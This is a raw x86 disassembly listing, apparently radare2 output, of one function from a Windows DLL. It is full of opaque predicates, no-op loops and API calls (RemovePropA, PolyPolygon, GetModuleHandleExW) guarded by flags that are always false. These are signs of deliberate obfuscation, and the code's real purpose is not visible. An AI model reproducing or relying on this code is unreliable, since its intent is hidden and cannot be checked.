mov byte [ebp - 0x1bd], 0xe8
mov byte [ebp - 0x1bc], 0
mov byte [ebp - 0x1bb], 0x10
mov byte [ebp - 0x1ba], 7
mov byte [ebp - 0x1b9], 0x2e
mov byte [ebp - 0x1b8], 0xb
mov byte [ebp - 0x1b7], 0x11
mov byte [ebp - 0x1b6], 6
mov byte [ebp - 0x1b5], 0xb
mov byte [ebp - 0x1b4], 9
mov byte [ebp - 0x1b3], 0x1d
mov byte [ebp - 0x1b2], 3
mov byte [ebp - 0x1b1], 0x38
mov byte [ebp - 0x1b0], 1
mov byte [ebp - 0x1af], 0x33
mov byte [ebp - 0x1ae], 8
mov byte [ebp - 0x1ad], 0xa
mov dword [ebp - 0x50], 0x9807
mov dword [ebp - 0x38], 1
mov dword [ebp - 0xbc], 0xfffffffb
push 1
lea ecx, [ebp - 0x2ec]
call fcn.10020382
mov dword [ebp - 4], 6
push 1
lea ecx, [ebp - 0xb04]
call fcn.10020382
mov byte [ebp - 4], 7
mov dword [ebp - 0x2c0], 0x96bb6454
mov dword [ebp - 0x9e4], 0xf3bb579a
mov dword [ebp - 0x94], 0
jmp 0x100198fb
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x1001991d
push dword [ebp - 0x94]
lea ecx, [ebp - 0x2ec]
call fcn.10020420
mov dword [eax], 0xe0184dcc
jmp 0x100198ee
mov dword [ebp - 0x94], 0
jmp 0x10019936
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x10019958
push dword [ebp - 0x94]
lea ecx, [ebp - 0xb04]
call fcn.10020420
mov dword [eax], 0x9c77
jmp 0x10019929
push 0
lea ecx, [ebp - 0x2ec]
call fcn.10020420
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0xbc], 0
je 0x10019988
cmp dword [ebp - 0xbc], 0
je 0x10019988
mov dword [ebp - 0x488], 1
jmp 0x1001998f
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x488], eax
jg 0x100199a6
mov dword [ebp - 0x8fc], 1
jmp 0x100199ad
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xb68], eax
push 0
lea ecx, [ebp - 0x2ec]
call fcn.10020420
push 0
lea ecx, [ebp - 0x2ec]
call fcn.10020420
cmp dword [eax], 0
je 0x100199dd
xor eax, eax
inc eax
jne 0x100199e3
cmp dword [ebp - 0x50], 0
je 0x10019a07
push 0
lea ecx, [ebp - 0x2ec]
call fcn.10020420
cmp dword [eax], 0
je 0x10019a07
cmp dword [ebp - 0x50], 0
je 0x10019a07
mov dword [ebp - 0x668], 1
jmp 0x10019a0e
and dword [ebp - 0x668], 0
push 0
lea ecx, [ebp - 0x2ec]
call fcn.10020420
mov eax, dword [eax]
cmp eax, dword [ebp - 0x668]
jle 0x10019a31
mov dword [ebp - 0x490], 1
jmp 0x10019a38
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x490]
jl 0x10019a4f
mov dword [ebp - 0x758], 1
jmp 0x10019a56
and dword [ebp - 0x758], 0
push 0
lea ecx, [ebp - 0xb04]
call fcn.10020420
mov dword [ebp - 0x314], eax
mov eax, dword [ebp - 0x314]
mov eax, dword [eax]
sub eax, dword [ebp - 0x758]
mov dword [ebp - 0x498], eax
push 0
lea ecx, [ebp - 0x2ec]
call fcn.10020420
mov ecx, dword [ebp - 0x498]
mov dword [eax], ecx
mov eax, dword [ebp - 0x498]
mov ecx, dword [ebp - 0x314]
mov ecx, dword [ecx]
dec ecx
mov edx, dword [ebp - 0x314]
mov dword [edx], ecx
test eax, eax
jne 0x10019abf
cmp dword [ebp - 0xbc], 0
jne 0x10019abf
and dword [ebp - 0x670], 0
jmp 0x10019ac9
mov dword [ebp - 0x670], 1
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x670], eax
jg 0x10019ae3
mov dword [ebp - 0x4a0], 1
jmp 0x10019aea
and dword [ebp - 0x4a0], 0
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x4a0], eax
jle 0x10019b04
mov dword [ebp - 0x7d0], 1
jmp 0x10019b0b
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0x2c0]
add eax, dword [ebp - 0x7d0]
jne 0x10019b28
cmp dword [ebp - 0x38], 0
jne 0x10019b28
and dword [ebp - 0x4a8], 0
jmp 0x10019b32
mov dword [ebp - 0x4a8], 1
cmp dword [ebp - 0x4a8], 1
jb 0x10019b47
mov dword [ebp - 0x678], 1
jmp 0x10019b4e
and dword [ebp - 0x678], 0
cmp dword [ebp - 0x678], 0xfffffff9
jge 0x10019b63
mov dword [ebp - 0x4b0], 1
jmp 0x10019b6a
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x4b0], eax
je 0x10019b84
mov dword [ebp - 0x760], 1
jmp 0x10019b8b
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x760]
jle 0x10019ba2
mov dword [ebp - 0x4b8], 1
jmp 0x10019ba9
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0xbc]
imul eax, dword [ebp - 0x4b8]
test eax, eax
je 0x10019db3
mov dword [ebp - 0x81c], 0x15bfeb1e
mov dword [ebp - 0x7c], 0
jmp 0x10019bd8
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 3
jge 0x10019bee
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0xc4c], 0xa8b1460d
jmp 0x10019bd1
mov dword [ebp - 0x7c], 0
jmp 0x10019bfe
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 2
jge 0x10019c14
mov eax, dword [ebp - 0x7c]
mov dword [ebp + eax*4 - 0xa68], 0
jmp 0x10019bf7
mov dword [ebp - 0x38], 0
jmp 0x10019c24
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x10019dae
mov dword [ebp - 0x4d0], 0x24086237
mov byte [ebp - 0x10d], 0
movzx eax, byte [ebp - 0x10d]
test eax, eax
je 0x10019c57
push 0
push 0x1275
call dword [sym.imp.USER32.dll_RemovePropA]
mov dword [ebp - 0x50], 0
jmp 0x10019c67
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jg 0x10019da9
push dword [ebp - 0x50]
lea ecx, [ebp - 0x2ec]
call fcn.10020420
cmp dword [eax], 0
jne 0x10019cce
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x50]
cmp dword [ebp + eax - 0xc4c], ecx
jl 0x10019ca2
mov dword [ebp - 0x35c], 1
jmp 0x10019ca9
and dword [ebp - 0x35c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x35c]
mov dword [ebp + eax - 0xc4c], ecx
cmp dword [ebp - 0x35c], 0
jne 0x10019cce
and dword [ebp - 0x680], 0
jmp 0x10019cd8
mov dword [ebp - 0x680], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa68]
cmp dword [ebp - 0x680], eax
jle 0x10019cf9
mov dword [ebp - 0x4c0], 1
jmp 0x10019d00
and dword [ebp - 0x4c0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa68]
cmp dword [ebp - 0x4c0], eax
je 0x10019d21
mov dword [ebp - 0x4c8], 1
jmp 0x10019d28
and dword [ebp - 0x4c8], 0
mov dword [ebp - 0xbc], 0xb505
push dword [ebp - 0x38]
lea ecx, [ebp - 0x2ec]
call fcn.10020420
mov eax, dword [eax]
mov dword [ebp - 0x81c], eax
mov esi, dword [ebp - 0x81c]
mov edi, dword [ebp - 0xbc]
push dword [ebp - 0x38]
lea ecx, [ebp - 0x2ec]
call fcn.10020420
mov eax, dword [eax]
add eax, edi
sub eax, esi
cmp eax, dword [ebp - 0x4c8]
jne 0x10019d7c
mov dword [ebp - 0x688], 1
jmp 0x10019d83
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x688]
mov dword [ebp - 0x4d0], eax
mov esi, dword [ebp - 0x4d0]
push 0
lea ecx, [ebp - 0x2ec]
call fcn.10020420
mov dword [eax], esi
jmp 0x10019c60
jmp 0x10019c1d
jmp 0x1001a2af
mov dword [ebp - 0x8b0], 0x1724
cmp dword [ebp - 0x8b0], 0xabb
jge 0x1001a09c
lea eax, [ebp - 0x994]
push eax
lea eax, [ebp - 0x15c]
push eax
push 0x10007c38
call fcn.1005a45b
add esp, 0xc
mov eax, dword [ebp - 0x15c]
inc eax
push eax
lea ecx, [ebp - 0xa3c]
call fcn.100206f6
mov byte [ebp - 4], 8
mov byte [ebp - 0xce], 0
lea eax, [ebp - 0xce]
push eax
mov eax, dword [ebp - 0x15c]
inc eax
push eax
lea ecx, [ebp - 0xdf4]
call fcn.1002061c
mov dword [ebp - 0x9e8], eax
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0x8b8], eax
mov byte [ebp - 4], 9
push dword [ebp - 0x8b8]
mov eax, dword [ebp - 0x15c]
inc eax
push eax
lea ecx, [ebp - 0xab0]
call fcn.1002076f
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xdf4]
call fcn.1002067d
and dword [ebp - 0x31c], 0
jmp 0x10019e74
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
cmp eax, dword [ebp - 0x994]
jge 0x10019eef
lea eax, [ebp - 0x768]
push eax
lea eax, [ebp - 0x4d8]
push eax
push 0x10007c38
call fcn.1005a45b
add esp, 0xc
lea eax, [ebp - 0x768]
push eax
push dword [ebp - 0x4d8]
lea ecx, [ebp - 0xa3c]
call fcn.10020762
mov ecx, eax
call fcn.100205c4
push 1
push dword [ebp - 0x768]
lea eax, [ebp - 0xe14]
push eax
push dword [ebp - 0x4d8]
lea ecx, [ebp - 0xab0]
call fcn.10020796
mov ecx, eax
call fcn.1002069d
mov ecx, eax
call fcn.100206bc
jmp 0x10019e67
xorpd xmm0, xmm0
movlpd qword [ebp - 0x3b4], xmm0
mov dword [ebp - 0x118], 1
jmp 0x10019f14
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp - 0x15c]
jg 0x1001a065
mov dword [ebp - 0x160], 1
jmp 0x10019f3f
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
cmp eax, dword [ebp - 0x15c]
jg 0x1001a060
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp - 0x160]
jne 0x10019f61
jmp 0x10019f32
xorpd xmm0, xmm0
movlpd qword [ebp - 0x2f8], xmm0
and dword [ebp - 0x230], 0
jmp 0x10019f83
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
push dword [ebp - 0x118]
lea ecx, [ebp - 0xa3c]
call fcn.10020762
mov ecx, eax
call fcn.100205a9
cmp dword [ebp - 0x230], eax
jae 0x1001a013
push dword [ebp - 0x160]
lea eax, [ebp - 0xdb4]
push eax
push dword [ebp - 0x230]
push dword [ebp - 0x118]
lea ecx, [ebp - 0xa3c]
call fcn.10020762
mov ecx, eax
call fcn.10020420
push dword [eax]
lea ecx, [ebp - 0xab0]
call fcn.10020796
mov ecx, eax
call fcn.1002069d
mov ecx, eax
call fcn.100206e1
movzx eax, al
test eax, eax
jle 0x1001a00e
mov eax, dword [ebp - 0x2f8]
add eax, 1
mov ecx, dword [ebp - 0x2f4]
adc ecx, 0
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
jmp 0x10019f76
mov eax, dword [ebp - 0x2f8]
sub eax, 1
mov ecx, dword [ebp - 0x2f4]
sbb ecx, 0
push ecx
push eax
push dword [ebp - 0x2f4]
push dword [ebp - 0x2f8]
call fcn.1005e830
push 0
push 2
push edx
push eax
call fcn.10072af0
add eax, dword [ebp - 0x3b4]
adc edx, dword [ebp - 0x3b0]
mov dword [ebp - 0x3b4], eax
mov dword [ebp - 0x3b0], edx
jmp 0x10019f32
jmp 0x10019f07
push dword [ebp - 0x3b0]
push dword [ebp - 0x3b4]
push 0x10007c44
call fcn.1005a68f
add esp, 0xc
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xab0]
call fcn.10020791
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xa3c]
call fcn.1002075d
mov dword [ebp - 0x698], 0x8a84a000
push 2
lea ecx, [ebp - 0x874]
call fcn.10020382
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x4f8], 0xdb59fb14
mov dword [ebp - 0x770], 0xeb039226
mov dword [ebp - 0x2c8], 0
jmp 0x1001a0e4
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 2
jge 0x1001a106
push dword [ebp - 0x2c8]
lea ecx, [ebp - 0x874]
call fcn.10020420
mov dword [eax], 0xfffffff7
jmp 0x1001a0d7
mov dword [ebp - 0x38], 0xffffffe7
jmp 0x1001a116
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x13
jge 0x1001a133
mov dword [ebp - 0x8c0], 2
cmp dword [ebp - 0x8c0], 0
je 0x1001a131
jmp 0x1001a133
jmp 0x1001a10f
mov dword [ebp - 0x9e4], 0xc79a83ad
mov dword [ebp - 0x698], 0xffffffff
mov eax, 0xfffd
cmp eax, 0x6950
jbe 0x1001a15f
mov dword [ebp - 0x4e0], 1
jmp 0x1001a166
and dword [ebp - 0x4e0], 0
push 0
lea ecx, [ebp - 0x874]
call fcn.10020420
mov dword [ebp - 0x690], eax
push 0
lea ecx, [ebp - 0x874]
call fcn.10020420
mov ecx, dword [ebp - 0x690]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x690]
cmp dword [eax], 0
je 0x1001a1a0
xor eax, eax
inc eax
jne 0x1001a1bb
push 0
lea ecx, [ebp - 0x2ec]
call fcn.10020420
cmp dword [eax], 0
jne 0x1001a1bb
and dword [ebp - 0x7d8], 0
jmp 0x1001a1c5
mov dword [ebp - 0x7d8], 1
mov eax, dword [ebp - 0x4e0]
cmp eax, dword [ebp - 0x7d8]
je 0x1001a1df
mov dword [ebp - 0x4e8], 1
jmp 0x1001a1e6
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x4f8]
imul eax, dword [ebp - 0x4e8]
cmp eax, dword [ebp - 0x38]
jne 0x1001a204
mov dword [ebp - 0x388], 1
jmp 0x1001a20b
and dword [ebp - 0x388], 0
push 0
lea ecx, [ebp - 0x2ec]
call fcn.10020420
mov ecx, dword [ebp - 0x388]
mov dword [eax], ecx
cmp dword [ebp - 0x388], 0
je 0x1001a23e
cmp dword [ebp - 0x698], 0
je 0x1001a23e
mov dword [ebp - 0x4f0], 1
jmp 0x1001a245
and dword [ebp - 0x4f0], 0
mov eax, dword [ebp - 0x4f0]
mov dword [ebp - 0x770], eax
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x4f8], eax
push 0
lea ecx, [ebp - 0x874]
call fcn.10020420
cmp dword [eax], 0
jne 0x1001a28a
push 0
lea ecx, [ebp - 0x874]
call fcn.10020420
cmp dword [eax], 0
jne 0x1001a28a
and dword [ebp - 0x6a0], 0
jmp 0x1001a294
mov dword [ebp - 0x6a0], 1
mov eax, dword [ebp - 0x6a0]
mov dword [ebp - 0xbc], eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x874]
call fcn.10020404
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb04]
call fcn.10020404
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2ec]
call fcn.10020404
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1c8]
or eax, 0xa3
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1c8]
and ecx, 0xa3
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0x1c8]
mov byte [ebp + ecx - 0x890], al
mov dword [ebp - 0x18], 2
and dword [ebp - 0x1a8], 0
jmp 0x1001a323
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x1c
jae 0x1001af36
mov dword [ebp - 0x54], 0x91c5
mov dword [ebp - 0x140], 0xfffffff8
mov dword [ebp - 0x368], 0x535dd253
mov dword [ebp - 0x6c0], 0xff74
xor eax, eax
je 0x1001a51c
mov dword [ebp - 0x518], 6
mov dword [ebp - 0x99c], 0
mov dword [ebp - 0x238], 0
jmp 0x1001a387
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 3
jge 0x1001a3a3
mov eax, dword [ebp - 0x238]
mov dword [ebp + eax*4 - 0xabc], 0xffff
jmp 0x1001a37a
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xb6c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xabc], 0xfffffff7
jg 0x1001a3c8
mov dword [ebp - 0x500], 1
jmp 0x1001a3cf
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x500]
cmp eax, 0xfa1e1c5a
ja 0x1001a3fb
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xabc], 0
je 0x1001a3fb
mov dword [ebp - 0x82c], 1
jmp 0x1001a402
and dword [ebp - 0x82c], 0
mov eax, dword [ebp - 0x54]
imul eax, dword [ebp - 0x82c]
test eax, eax
je 0x1001a423
push 8
pop eax
test eax, eax
je 0x1001a423
mov dword [ebp - 0x508], 1
jmp 0x1001a42a
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x54]
imul eax, dword [ebp - 0x508]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xabc]
jne 0x1001a44f
mov dword [ebp - 0x6a8], 1
jmp 0x1001a456
and dword [ebp - 0x6a8], 0
cmp dword [ebp - 0x6a8], 1
jbe 0x1001a46b
mov dword [ebp - 0x510], 1
jmp 0x1001a472
and dword [ebp - 0x510], 0
cmp dword [ebp - 0x510], 0x42be197e
jge 0x1001a48a
mov dword [ebp - 0x778], 1
jmp 0x1001a491
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x778], eax
jl 0x1001a4a8
mov dword [ebp - 0x8c8], 1
jmp 0x1001a4af
and dword [ebp - 0x8c8], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xb74], eax
mov dword [ebp - 0x518], 0x1dab
cmp dword [ebp - 0x518], 0x6712
jg 0x1001a4da
mov dword [ebp - 0x6b0], 1
jmp 0x1001a4e1
and dword [ebp - 0x6b0], 0
imul eax, dword [ebp - 0x6b0], 0xa8e9
mov dword [ebp - 0x99c], eax
mov byte [ebp - 0x105], 0
movzx eax, byte [ebp - 0x105]
test eax, eax
je 0x1001a517
push 0x5a8
push 0
push 0
push 0x1fd8
call dword [sym.imp.GDI32.dll_PolyPolygon]
jmp 0x1001a746
mov dword [ebp - 0xe4], 0x747c914a
mov dword [ebp - 0x2d8], 0xc4b05ef1
mov dword [ebp - 0x324], 0xfffffffa
cmp dword [ebp - 0x54], 0
jne 0x1001a5f9
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xb7c], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xb84], eax
cmp dword [ebp - 0xe4], 0x2fbf3f07
jle 0x1001a571
mov dword [ebp - 0x520], 1
jmp 0x1001a578
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x520]
add eax, 0x991f
cmp eax, 0xafcb
jg 0x1001a596
mov dword [ebp - 0x7e0], 1
jmp 0x1001a59d
and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp - 0x2d8]
cmp eax, dword [ebp - 0x7e0]
jle 0x1001a5c3
mov dword [ebp - 0x528], 1
jmp 0x1001a5ca
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x324]
dec eax
mov dword [ebp - 0x324], eax
mov eax, dword [ebp - 0x324]
mov ecx, dword [ebp - 0x528]
sub ecx, dword [ebp - 0xe4]
imul eax, ecx
test eax, eax
jne 0x1001a5f9
and dword [ebp - 0x6b8], 0
jmp 0x1001a603
mov dword [ebp - 0x6b8], 1
mov eax, dword [ebp - 0x6b8]
mov dword [ebp - 0x368], eax
mov eax, dword [ebp - 0x368]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x140], eax
jl 0x1001a635
mov dword [ebp - 0x8d0], 1
jmp 0x1001a63c
and dword [ebp - 0x8d0], 0
push 5
pop eax
cmp eax, 0xfffffffc
jg 0x1001a650
mov dword [ebp - 0x530], 1
jmp 0x1001a657
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x530], eax
jg 0x1001a671
mov dword [ebp - 0x780], 1
jmp 0x1001a678
and dword [ebp - 0x780], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x780], eax
jl 0x1001a68f
mov dword [ebp - 0x538], 1
jmp 0x1001a696
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x538], eax
je 0x1001a6aa
cmp dword [ebp - 0xe4], 0
je 0x1001a719
mov dword [ebp - 0x2d0], 0
jmp 0x1001a6c3
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 1
jge 0x1001a6df
mov eax, dword [ebp - 0x2d0]
mov dword [ebp + eax*4 - 0xb8c], 0x61f
jmp 0x1001a6b6
mov dword [ebp - 0x140], 0
jmp 0x1001a6f8
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
jg 0x1001a717
mov dword [ebp - 0x9fc], 0xf6f6d779
mov dword [ebp - 0x9fc], 0x546153b7
jmp 0x1001a6eb
jmp 0x1001a746
mov dword [ebp - 0xb94], 9
mov eax, dword [ebp - 0x6c0]
inc eax
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x2d8], 6
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x368], eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1c8]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x18], eax
jne 0x1001aad6
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xa7c], 0xe7b1b0ca
mov dword [ebp - 0xa78], 0xe7b1b0ca
mov dword [ebp - 0xa74], 0xe7b1b0ca
mov dword [ebp - 0xa70], 0xe7b1b0ca
lea ecx, [ebp - 0x34d]
call fcn.1002042f
push eax
lea eax, [ebp - 0xa6c]
push eax
lea eax, [ebp - 0xa7c]
push eax
lea ecx, [ebp - 0xde4]
call fcn.10020432
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xc5c]
call fcn.100203de
mov dword [ebp - 4], 0xd
mov dword [ebp - 0xb4], 0
jmp 0x1001a7e8
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0x1a
jle 0x1001a9bf
push 2
lea ecx, [ebp - 0xac8]
call fcn.10020382
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x244], 0
jmp 0x1001a829
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 2
jge 0x1001a84b
push dword [ebp - 0x244]
lea ecx, [ebp - 0xac8]
call fcn.10020420
mov dword [eax], 0xfffffff7
jmp 0x1001a81c
mov dword [ebp - 0x8c], 1
jmp 0x1001a864
mov eax, dword [ebp - 0x8c]
dec eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x1001a8ba
mov dword [ebp - 0x29c], 0xea122098
mov dword [ebp - 0x29c], 0
jmp 0x1001a890
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 1
jg 0x1001a8b8
mov byte [ebp - 0xd5], 0
movzx eax, byte [ebp - 0xd5]
test eax, eax
je 0x1001a8b6
push 0x131f
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
jmp 0x1001a883
jmp 0x1001a857
cmp dword [ebp - 0xb4], 0
jne 0x1001a8de
push 0
lea ecx, [ebp - 0xac8]
call fcn.10020420
cmp dword [eax], 0
jne 0x1001a8de
and dword [ebp - 0x8d8], 0
jmp 0x1001a8e8
mov dword [ebp - 0x8d8], 1
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xb9c], eax
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], eax
jle 0x1001a90e
mov dword [ebp - 0x540], 1
jmp 0x1001a915
and dword [ebp - 0x540], 0
cmp dword [ebp - 0x540], 0xfffffffb
je 0x1001a92a
mov dword [ebp - 0x824], 1
jmp 0x1001a931
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0xb4]
add eax, dword [ebp - 0x824]
add eax, dword [ebp - 0x8c]
cmp eax, 1
jae 0x1001a954
mov dword [ebp - 0x924], 1
jmp 0x1001a95b
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xba4], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xbac], eax
cmp dword [ebp - 0xb4], 0xffff
jb 0x1001a98b
mov dword [ebp - 0x548], 1
jmp 0x1001a992
and dword [ebp - 0x548], 0
imul esi, dword [ebp - 0x548], 0x263b
push 1
lea ecx, [ebp - 0xc5c]
call fcn.10020420
mov dword [eax], esi
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0xac8]
call fcn.10020404
jmp 0x1001a7db
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc5c]
call fcn.10020404
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x1c8]
inc eax
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x1c8]
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xbb4], 1
mov dword [ebp - 0xaa4], 0x901f2c29
mov dword [ebp - 0xaa0], 0x901f2c29
mov dword [ebp - 0xa9c], 0x901f2c29
mov dword [ebp - 0xa98], 0x901f2c29
lea ecx, [ebp - 0x381]
call fcn.1002042f
push eax
lea eax, [ebp - 0xa94]
push eax
lea eax, [ebp - 0xaa4]
push eax
lea ecx, [ebp - 0xddc]
call fcn.10020432
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xd64]
call fcn.100203de
mov dword [ebp - 0x6c8], 0x6d23
mov dword [ebp - 0x24c], 0
jmp 0x1001aa7f
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 1
jge 0x1001aa9b
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0xbbc], 0xa012e1df
jmp 0x1001aa72
mov eax, dword [ebp - 0x6c8]
dec eax
mov dword [ebp - 0x6c8], eax
mov byte [ebp - 0xd1], 0
movzx eax, byte [ebp - 0xd1]
test eax, eax
je 0x1001aac6
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
lea ecx, [ebp - 0xd64]
call fcn.10020404
jmp 0x1001a31b
mov dword [ebp - 0xc4], 1
mov dword [ebp - 0x2dc], 0
jmp 0x1001aaf9
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 3
jge 0x1001ab15
mov eax, dword [ebp - 0x2dc]
mov dword [ebp + eax*4 - 0xa48], 5
jmp 0x1001aaec
mov dword [ebp - 0xc4], 2
jmp 0x1001ab2e
cmp dword [ebp - 0xc4], 0
jl 0x1001ad9c
push 4
lea ecx, [ebp - 0x850]
call fcn.10020382
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x6c], 0
jmp 0x1001ab5f
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 4
jge 0x1001ab7b
push dword [ebp - 0x6c]
lea ecx, [ebp - 0x850]
call fcn.10020420
mov dword [eax], 0xa5f3
jmp 0x1001ab58
mov dword [ebp - 0x6c], 0
jmp 0x1001ab8b
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 1
jge 0x1001aba1
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x8e0], 0xffffffff
jmp 0x1001ab84
cmp dword [ebp - 0xc4], 0
je 0x1001acab
mov eax, dword [ebp - 0xc4]
cmp dword [ebp + eax*4 - 0xa48], 0
je 0x1001ac7e
mov esi, dword [ebp - 0xc4]
push 0
lea ecx, [ebp - 0x850]
call fcn.10020420
cmp esi, dword [eax]
jg 0x1001abe5
mov dword [ebp - 0x550], 1
jmp 0x1001abec
and dword [ebp - 0x550], 0
push 3
lea ecx, [ebp - 0x850]
call fcn.10020420
mov ecx, dword [ebp - 0x550]
